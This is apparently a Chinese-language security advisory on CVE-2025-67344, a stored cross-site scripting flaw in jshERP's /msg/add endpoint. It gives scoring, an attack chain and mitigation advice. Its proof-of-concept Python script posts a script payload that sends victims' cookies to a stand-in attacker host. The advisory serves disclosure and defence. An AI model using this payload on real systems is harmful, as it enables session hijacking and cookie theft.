IPBUF安全漏洞报告
English
CVE-2025-67344 CVSS 4.6 中危

jshERP v3.5及之前版本 /msg/add 端点存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67344
漏洞类型
存储型XSS
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
jshERP

相关标签

存储型XSSjshERPCVE-2025-67344跨站脚本Web安全v3.5及之前版本

漏洞概述

jshERP v3.5及之前版本存在一处存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞位于系统的/msg/add接口,攻击者可以通过该接口向系统提交包含恶意JavaScript代码的消息内容。当其他用户访问或查看该消息时,恶意脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全风险。由于该漏洞为存储型XSS,恶意代码会持久化保存在服务器端,影响所有访问该内容的用户。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击原理如下:1) 攻击者通过POST请求向/msg/add端点提交包含恶意JavaScript脚本的消息内容;2) 服务器端未对用户输入进行充分的过滤和转义处理,直接将数据存储到数据库中;3) 当其他用户通过Web界面查看该消息时,服务器从数据库读取并返回包含恶意脚本的页面内容;4) 用户浏览器解析HTML响应时执行恶意脚本代码。由于攻击者可在脚本中获取用户Cookie、进行UI篡改或重定向用户到钓鱼站点,且该脚本会持久化存在于系统中,因此具有较高的危害性。修复方案应在服务端对所有用户输入进行严格的HTML实体编码,并在输出时进行上下文感知的转义处理。

攻击链分析

STEP 1
步骤1
攻击者登录jshERP系统,获取有效会话
STEP 2
步骤2
构造包含恶意JavaScript代码的XSS payload
STEP 3
步骤3
通过POST请求向/msg/add端点提交恶意消息内容
STEP 4
步骤4
服务器未进行输入过滤,将恶意内容存储到数据库
STEP 5
步骤5
受害用户访问消息列表页面,服务器返回包含恶意脚本的页面
STEP 6
步骤6
受害用户浏览器执行恶意脚本,触发Cookie窃取或会话劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-67344 PoC - Stored XSS in jshERP /msg/add endpoint # Target: jshERP v3.5 and earlier target_url = "http://target-server/jshERP/msg/add" login_url = "http://target-server/jshERP/user/login" # Login to get session session = requests.Session() login_data = { "userName": "attacker", "userPassword": "password123" } # session.post(login_url, json=login_data) # XSS payload - Steal cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Send malicious message via /msg/add endpoint msg_data = { "content": xss_payload, "title": "XSS Test" } response = session.post(target_url, json=msg_data) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

jshERP <= v3.5

防御指南

临时缓解措施
在服务器端对所有用户输入进行严格的输入验证和HTML转义处理,特别是对<、>、"、'、&等特殊字符进行实体编码。建议在/msg/add接口添加XSS过滤器,同时在输出点进行上下文感知的转义。可临时禁用/msg/add接口或限制低权限用户使用该功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表